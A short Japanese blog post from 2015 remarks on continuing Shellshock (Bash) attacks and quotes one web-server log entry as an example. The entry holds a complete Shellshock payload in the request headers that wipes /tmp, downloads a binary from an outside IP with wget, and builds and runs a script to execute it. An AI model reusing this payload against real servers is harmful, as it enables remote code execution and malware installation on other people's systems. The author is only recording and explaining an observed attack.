PC大好きオヤヂのブログ
PCの機能を100%使うために!
2015年4月12日日曜日
bashショックへのアタック
Bashショックへのアタックが続発していますねぇ。
未だにBashショックを放置しているサーバー機があるんでしょうねぇ。
ちなみに、Bashショックへのアタックのログを一つ載せておくと
27.17.5.140 - - [12/Apr/2015:22:17:49 +0900] "GET / HTTP/1.1" 200 5036 "() { :; }; /bin/bash -c \"rm -rf /tmp/*;echo wget http://61.160.212.172:911/java -O /tmp/China.Z-azco >> /tmp/Run.sh;echo echo By China.Z >> /tmp/Run.sh;echo chmod 777 /tmp/China.Z-azco >> /tmp/Run.sh;echo /tmp/China.Z-azco >> /tmp/Run.sh;echo rm -rf /tmp/Run.sh >> /tmp/Run.sh;chmod 777 /tmp/Run.sh;/tmp/Run.sh\"" "() { :; }; /bin/bash -c \"rm -rf /tmp/*;echo wget http://61.160.212.172:911/java -O /tmp/China.Z-azco >> /tmp/Run.sh;echo echo By China.Z >> /tmp/Run.sh;echo chmod 777 /tmp/China.Z-azco >> /tmp/Run.sh;echo /tmp/China.Z-azco >> /tmp/Run.sh;echo rm -rf /tmp/Run.sh >> /tmp/Run.sh;chmod 777 /tmp/Run.sh;/tmp/Run.sh\""
こんな感じです。
/tmpにRun.shというスクリプトを作って実行させるといった感じ?
0 件のコメント:
コメントを投稿
次の投稿
前の投稿
ホーム
登録:
コメントの投稿 (Atom)
0 件のコメント:
コメントを投稿